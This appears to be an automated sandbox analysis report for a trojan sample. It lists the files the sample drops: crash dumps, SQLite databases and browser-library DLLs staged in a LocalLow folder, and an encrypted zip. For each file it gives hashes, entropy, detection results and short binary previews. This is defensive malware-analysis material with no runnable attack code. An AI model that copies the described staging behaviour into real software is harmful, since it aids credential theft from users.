Preview:	MDMP....... ........C5`...................U...........B......H%......GenuineIntelW...........T...........0C5`.............................0..2...............P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.............................................................................................................................................................................................................................................................................................................................................................................................................................................................d.b.g.c.o.r.e...i.3.8.6.,.1.0...0...1.7.1.3.4...1.........................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF638.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Tue Feb 23 18:02:46 2021, 0x1205a4 type
Category:	dropped
Size (bytes):	98948
Entropy (8bit):	2.308937845022777
Encrypted:	false
SSDEEP:	768:e3Y2YudRjkvSYuC16/Ls+sUAM6xmsdIae:MQuTVC1Q1u2OIae
MD5:	7252463169B1CB7DDE9F484CD51797AA
SHA1:	0903AD301B5583165FF46DD5CD26F51D7EAEA7F8
SHA-256:	DD96FA5604239E36AC7BEDE84AF4008B789E7AAE82E1212DF9B6CF4C1EC9DBA2
SHA-512:	14B674DC8EE912C62CAAD99263CA3139BECAFDCADAF8B61A57C4661F250C422F12A5434D7E3E007B4AF50BFF81FA561D364CAC1EE65325615343E8882FA0EC16
Malicious:	false
Preview:	MDMP....... .......FC5`...................U...........B......X.......GenuineIntelW...........T...........0C5`.............................0..2...............P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.............................................................................................................................................................................................................................................................................................................................................................................................................................................................d.b.g.c.o.r.e...i.3.8.6.,.1.0...0...1.7.1.3.4...1.........................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFBD2.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8458
Entropy (8bit):	3.703795484622125
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiFv6Aa6YJlSUXhgmfm8MSjCpBH89b91sfXa/m:RrlsNi96Aa6YLSUXhgmfmdSB9Of7
MD5:	B2D81288949416B59829539EAF4B4BDC
SHA1:	2466B614D6168ADD97E32CCA986CEE29958053CC
SHA-256:	1C11C9F668DE2916F2FB21037B2A6AD8B37FF5E207E96A954C38513E3D38472A
SHA-512:	84CDA9A0FDF964AE114F499E60F14D615DAEC3947C983AD698D4ECC47E3117E712F9428D4972295FBA74D5FA36ED00D9C20C480DCE87D8E29ACDA1929DDED7FF
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.1.4.0.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8442
Entropy (8bit):	3.701478392107274
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiFN6IdC6YJgSU9M1gmfm8MSjCpBY89bQ1sfywm:RrlsNi/6IdC6YOSU9M1gmfmdS8QOfE
MD5:	AC86FBDF02E0840F5B6DAC3A701FB11E
SHA1:	C33D26DC825A4B5968E4878EC218FB930BE9B956
SHA-256:	85586CDF8505818510A0A379BFDC0F5772EDED082DFD1124A10FF926FB719A57
SHA-512:	33BFAD8CDE5D642AD1EC33F21A4A571BD0F83F7C4BDBD65FCC666B24ACC9CB59531968ABFFB57B67E3C4EB25B2DEB48B49647C2D71501C0149B1C6FC7F97A5D3
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.1.4.0.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFFEA.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4746
Entropy (8bit):	4.54942527186672
Encrypted:	false
SSDEEP:	48:cvIwSD8zseJgtWI9kwhWSC8B78fm8M4JTSFunFm+q8D5UKUUvpd:uITfUfTSNOJfnolKUUvpd
MD5:	7D3D1F9627D8B197D8901CFA5C97454E
SHA1:	D3B45DC66836865EE324EAD165B126D926CFFA56
SHA-256:	F2B8E82E53C035924EFA04B4F952CF9720C1AE077BDB930101E4824A22FD4293
SHA-512:	102F81CB94830139D80609E9EDDDC4BBB03C756A1A9E3698D1A6C9617FDC46BDCFD3C52B4D2A7F00E4030495027D83676D2A1131BB98998020F25E1A7C1088A8
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="874274" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\Users\user\AppData\LocalLow\1xVPfvJcrg Download File
Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\JbcJeqCquL Download File
Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	118784
Entropy (8bit):	0.4589067735369779
Encrypted:	false
SSDEEP:	48:TXYBfHNPM5ETQTbKPHBsRkOLkRf+z4QHItYysX0uhnHu132RUioVeINUravDLjY/:UWU+bDoYysX0uhnydVjN9DLjGQLBE3u
MD5:	89CE01DCB0DC182AFF651E0094A2A7A2
SHA1:	DBFC15F5503780095741421FCC662D72460D804A
SHA-256:	1A0599ED2576D1224FDE5E4B512BF36AA0D322765C8F83ADDF9487D6D4E511E0
SHA-512:	86E16B4D227056BB75D51F4D01F69E8585626664401E14C1F052C8C9F6D6F4BF5C3FAB041FCDB33E9D8EBB82785D9B382E97FBBBCD0550BA49776C14934079EC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\RYwTiizs2t Download File
Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\AccessibleHandler.dll Download File
Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	123344
Entropy (8bit):	6.504957642040826
Encrypted:	false
SSDEEP:	1536:DkO/6RZFrpiS7ewflNGa35iOrjmwWTYP1KxBxZJByEJMBrsuLeLsWxcdaocACs0K:biRZFdBiussQ1MBjq2aocts03/7FE
MD5:	F92586E9CC1F12223B7EEB1A8CD4323C
SHA1:	F5EB4AB2508F27613F4D85D798FA793BB0BD04B0
SHA-256:	A1A2BB03A7CFCEA8944845A8FC12974482F44B44FD20BE73298FFD630F65D8D0
SHA-512:	5C047AB885A8ACCB604E58C1806C82474DC43E1F997B267F90C68A078CB63EE78A93D1496E6DD4F5A72FDF246F40EF19CE5CA0D0296BBCFCFA964E4921E68A2F
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: SecuriteInfo.com.W32.AIDetectGBM.malware.02.16429.exe, Detection: malicious, Browse Filename: mDxyEfHSMs.exe, Detection: malicious, Browse Filename: A6Qom7We0l.exe, Detection: malicious, Browse Filename: BHuuI8LETf.exe, Detection: malicious, Browse Filename: m1hholPLan.exe, Detection: malicious, Browse Filename: nyDyMJGKWD.exe, Detection: malicious, Browse Filename: HA2a7FagC6.exe, Detection: malicious, Browse Filename: MakYpSHZKE.exe, Detection: malicious, Browse Filename: xytEWWD2QN.exe, Detection: malicious, Browse Filename: itqFYYnm5j.exe, Detection: malicious, Browse Filename: HDMInstaller.exe, Detection: malicious, Browse Filename: zrmbk.exe, Detection: malicious, Browse Filename: e7zQwqIDCO.exe, Detection: malicious, Browse Filename: RddH6rLRfH.exe, Detection: malicious, Browse Filename: 4PDNbYK5fj.exe, Detection: malicious, Browse Filename: pmTdQ57tvM.exe, Detection: malicious, Browse Filename: 7BtV39hziI.exe, Detection: malicious, Browse Filename: dc4AaqW6Aa.exe, Detection: malicious, Browse Filename: lAy87VNPiL.exe, Detection: malicious, Browse Filename: 97aa4Ywd9y.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........y.Z.............x.......x.......x......=z......=z......=z.......x.......x..........z.../{....../{....../{....../{b...../{......Rich............PE..L...C@.\.........."!.................b.......0......................................~p....@.................................p...........h...........................0...T................... ...........@............0..$............................text...7........................... ..`.orpc........ ...................... ..`.rdata...y...0...z..................@..@.data...............................@....rsrc...h...........................@..@.reloc..............................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\AccessibleMarshal.dll Download File
Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	26064
Entropy (8bit):	5.981632010321345
Encrypted:	false
SSDEEP:	384:KuAjyb0Xc6JzVuLoW2XDOc3TXg1hjsvDG8A3OPLon07zS:BEygs6RV6oW2Xd38njiDG8Mj
MD5:	A7FABF3DCE008915CEE4FFC338FA1CE6
SHA1:	F411FB41181C79FBA0516D5674D07444E98E7C92
SHA-256:	D368EB240106F87188C4F2AE30DB793A2D250D9344F0E0267D4F6A58E68152AD
SHA-512:	3D2935D02D1A2756AAD7060C47DC7CABBA820CC9977957605CE9BBB44222289CBC451AD331F408317CF01A1A4D3CF8D9CFC666C4E6B4DB9DDD404C7629CEAA70
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S......U...U...U...U...U..T...U..T...U..T...U..T...U5.T...U...U!..U..T...U..T...U...U...U..T...URich...U........PE..L...<@.\.........."!.........8......0........0.......................................7....@..........................=......0>..x....`...............H..........<...09..T............................9..@............0...............................text...f........................... ..`.orpc........ ...................... ..`.rdata.......0......................@..@.data...@....P.......(..............@....rsrc........`.......*..............@..@.reloc..<............D..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\IA2Marshal.dll Download File
Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	70608
Entropy (8bit):	5.389701090881864
Encrypted:	false
SSDEEP:	768:3n8PHF564hn4wva3AVqH5PmE0SjA6QM0avrDG8MR43:38th4wvaQVE5PRl0xs
MD5:	5243F66EF4595D9D8902069EED8777E2
SHA1:	1FB7F82CD5F1376C5378CD88F853727AB1CC439E
SHA-256:	621F38BD19F62C9CE6826D492ECDF710C00BBDCF1FB4E4815883F29F1431DFDA
SHA-512:	A6AB96D73E326C7EEF75560907571AE9CAA70BA9614EB56284B863503AF53C78B991B809C0C8BAE3BCE99142018F59D42DD4BCD41376D0A30D9932BCFCAEE57A
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 3%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~.....K...K...K.g.K...K4}.J...K4}.J...K4}.J...K4}.J...K...J...K...J...K...K...K&\|.J...K&\|.J...K&\|uK...K&\|.J...KRich...K........PE..L...J@.\.........."!.................$.......0...............................0............@.........................0z.......z...........v................... .......u..T...........................Hv..@............0...............................orpc...t........................... ..`.text........ ...................... ..`.rdata...Q...0...R..................@..@.data................j..............@....rsrc....v.......x...t..............@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\MapiProxy.dll Download File
Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19920
Entropy (8bit):	6.2121285323374185
Encrypted:	false
SSDEEP:	384:Y0GKgKt7QXmFJNauBT5+BjdvDG8A3OPLon6nt:aKgWc2FnnTOVDG8MSt
MD5:	7CD244C3FC13C90487127B8D82F0B264
SHA1:	09E1AD17F1BB3D20BD8C1F62A10569F19E838834
SHA-256:	BCFB0E397DF40ABA8C8C5DD23C13C414345DECDD3D4B2DF946226BE97DEFBF30
SHA-512:	C6319BB3D6CB4CABF96BD1EADB8C46A3901498AC0EB789D73867710B0D855AB28603A00647A9CF4D2F223D35ADB2CB71AB22C284EF18823BFF88D87CF31FD13D
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........9...X...X...X... J..X...:...X...:...X...:...X...:...X...8...X...X...X...;...X...;...X...;&..X...;...X..Rich.X..........................PE..L....=.\.........."!................@........0............................................@.........................0:.......:..d....`..p............0.......p.......5..T...........................86..@............0...............................text...v........................... ..`.orpc...<.... ...................... ..`.rdata..r....0......................@..@.data........P.......&..............@....rsrc...p....`.......(..............@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\MapiProxy_InUse.dll Download File
Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19920
Entropy (8bit):	6.2121285323374185
Encrypted:	false
SSDEEP:	384:Y0GKgKt7QXmFJNauBT5+BjdvDG8A3OPLon6nt:aKgWc2FnnTOVDG8MSt
MD5:	7CD244C3FC13C90487127B8D82F0B264
SHA1:	09E1AD17F1BB3D20BD8C1F62A10569F19E838834
SHA-256:	BCFB0E397DF40ABA8C8C5DD23C13C414345DECDD3D4B2DF946226BE97DEFBF30
SHA-512:	C6319BB3D6CB4CABF96BD1EADB8C46A3901498AC0EB789D73867710B0D855AB28603A00647A9CF4D2F223D35ADB2CB71AB22C284EF18823BFF88D87CF31FD13D
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........9...X...X...X... J..X...:...X...:...X...:...X...:...X...8...X...X...X...;...X...;...X...;&..X...;...X..Rich.X..........................PE..L....=.\.........."!................@........0............................................@.........................0:.......:..d....`..p............0.......p.......5..T...........................86..@............0...............................text...v........................... ..`.orpc...<.... ...................... ..`.rdata..r....0......................@..@.data........P.......&..............@....rsrc...p....`.......(..............@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\aR8pJ3hC8rG2sT.zip Download File
Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe
File Type:	Zip archive data, at least v2.0 to extract
Category:	dropped
Size (bytes):	2828315
Entropy (8bit):	7.998625956067725
Encrypted:	true
SSDEEP:	49152:tiGLaX5/cgbRETlc0EqgSVAx07XZiEi4qiefeEJGt5ygL0+6/qax:t9OX9alwJSVP1fnefekGt5CP
MD5:	1117CD347D09C43C1F2079439056ADA3
SHA1:	93C2CE5FC4924314318554E131CFBCD119F01AB6
SHA-256:	4CFADA7EB51A6C0CB26283F9C86784B2B2587C59C46A5D3DC0F06CAD2C55EE97
SHA-512:	FC3F85B50176C0F96898B7D744370E2FF0AA2024203B936EB1465304C1C7A56E1AC078F3FDF751F4384536602F997E745BFFF97F1D8FF2288526883185C08FAF
Malicious:	false
Preview:	PK.........znN<..{r....i......nssdbm3.dll...\|...8...N..Y..6.$J.....$1...D .a.....jL.V..C...N.;....}./............$...Z,T.R.qc...Ec.=................;..{..s....p.`..A.?M.....W!.....a..?N...~e.A..W.o.....[.}...,...;.+\....Jw.\|...k.......<yR.^.E.o.nxs.c...=V....,..F....cu.....w.O..[..u.{..<.w....7P...{..K~..E..w...c...z^..[Z....6.G.V.2..+.n4......1M.......w{f..nJL..{. d......M..+.. ......./.)..$X!......L..K.`.M...w.I..LA8r.IX...r...87..}........<.].r.....TWm......b6/._....a..W.lB...3.n.._...j....o.Mz.._Q........8....K............gr..L..H...v....6[...4I...{.1g..<..>M..$G.&Y........-.....O..9\...,t..W.m.X ..Y.3....S<#}.".>.0RBg,...lh.s..o.....r.p8...)..3..K.v....ds.n3.+]....+....krMu._.Y\..../8T......&.BC.".u..;..e.k u$......~`.{.!.M...\W.Y.37+nQ.Z.*...3\G..5d....Z.hVL..Z.\|k.5...XF.Y..lVVW..C..\|.....b..\.Z...m. ..0...P.F8{].U.p..RW,n...MM.....s..._@..>Q.. ...N.>.T?WM....)9B.............mVW.......b.6{..\|!......O....M....>.>.$\.%..L.zF.l...3

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-file-l1-2-0.dll Download File
Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.112057846012794
Encrypted:	false
SSDEEP:	192:IWIghWGJnWdsNtL/123Ouo+Uggs/nGfe4pBjSfcD63QXWh0txKdmVWQ4yW1rwqnh:IWPhWlsnhi00GftpBjnem9lD16PamFP
MD5:	E2F648AE40D234A3892E1455B4DBBE05
SHA1:	D9D750E828B629CFB7B402A3442947545D8D781B
SHA-256:	C8C499B012D0D63B7AFC8B4CA42D6D996B2FCF2E8B5F94CACFBEC9E6F33E8A03
SHA-512:	18D4E7A804813D9376427E12DAA444167129277E5FF30502A0FA29A96884BF902B43A5F0E6841EA1582981971843A4F7F928F8AECAC693904AB20CA40EE4E954
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...._.L...........!......................... ...............................0............@.............................L............ ..................8=..............T............................................................................text...<........................... ..`.rsrc........ ......................@..@....._.L........8...T...T........_.L........d................_.L....................RSDS........g"Y........api-ms-win-core-file-l1-2-0.pdb.........T....rdata..T........rdata$zzzdbg.......L....edata... ..`....rsrc$01....` .......rsrc$02........._.L....@...................(...8...l...............`.......................api-ms-win-core-file-l1-2-0.dll.CreateFile2.kernel32.CreateFile2.GetTempPathW.kernel32.GetTempPathW.GetVolumeNameForVolumeMountPointW.kernel32.GetVolumeNameForVolumeMou

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-file-l2-1-0.dll Download File
Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.166618249693435
Encrypted:	false
SSDEEP:	192:BZwWIghWG4U9ydsNtL/123Ouo+Uggs/nGfe4pBjSbUGHvNWh0txKdmVWQ4CWVU9h:UWPhWFBsnhi00GftpBjKvxemPlP55QQ7
MD5:	E479444BDD4AE4577FD32314A68F5D28
SHA1:	77EDF9509A252E886D4DA388BF9C9294D95498EB
SHA-256:	C85DC081B1964B77D289AAC43CC64746E7B141D036F248A731601EB98F827719
SHA-512:	2AFAB302FE0F7476A4254714575D77B584CD2DC5330B9B25B852CD71267CDA365D280F9AA8D544D4687DC388A2614A51C0418864C41AD389E1E847D81C3AB744
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...4..\|...........!......................... ...............................0......t.....@.......................................... ..................8=..............T............................................................................text...}........................... ..`.rsrc........ ......................@..@....4..\|........8...T...T.......4..\|........d...............4..\|....................RSDS.=.Co.P..Gd./%P....api-ms-win-core-file-l2-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02........4..\|........................D...p...............#...P...................;...g...................<...m...............%...Z.........................api-ms-win-core-file-l2-1-0.dll.CopyFile2.kernel32.CopyFile2.CopyFileExW.kernel32.CopyFileExW.Crea

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-handle-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.1117101479630005
Encrypted:	false
SSDEEP:	384:AWPhWXDz6i00GftpBj5FrFaemx+lDbNh/6:hroidkeppp
MD5:	6DB54065B33861967B491DD1C8FD8595
SHA1:	ED0938BBC0E2A863859AAD64606B8FC4C69B810A
SHA-256:	945CC64EE04B1964C1F9FCDC3124DD83973D332F5CFB696CDF128CA5C4CBD0E5
SHA-512:	AA6F0BCB760D449A3A82AED67CA0F7FB747CBB82E627210F377AF74E0B43A45BA660E9E3FE1AD4CBD2B46B1127108EC4A96C5CF9DE1BDEC36E993D0657A615B6
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....G...........!......................... ...............................0......V.....@............................._............ ..................8=..............T............................................................................text..._........................... ..`.rsrc........ ......................@..@......G........:...T...T.........G........d.................G....................RSDSQ..{...IS].0.> ....api-ms-win-core-handle-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg......._....edata... ..`....rsrc$01....` .......rsrc$02......................G....Z...............(...<...P...................A...\|...............,.............api-ms-win-core-handle-l1-1-0.dll.CloseHandle.kernel32.CloseHandle.CompareObjectHandles.kernel32.CompareObjectHandles.DuplicateHandle.kernel32

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-heap-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.174986589968396
Encrypted:	false
SSDEEP:	192:GElqWIghWGZi5edXe123Ouo+Uggs/nGfe4pBjS/PHyRWh0txKdmVWQ4GWC2w4Dj3:GElqWPhWCXYi00GftpBjP9emYXlDbNs
MD5:	2EA3901D7B50BF6071EC8732371B821C
SHA1:	E7BE926F0F7D842271F7EDC7A4989544F4477DA7
SHA-256:	44F6DF4280C8ECC9C6E609B1A4BFEE041332D337D84679CFE0D6678CE8F2998A
SHA-512:	6BFFAC8E157A913C5660CD2FABD503C09B47D25F9C220DCE8615255C9524E4896EDF76FE2C2CC8BDEF58D9E736F5514A53C8E33D8325476C5F605C2421F15C7D
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
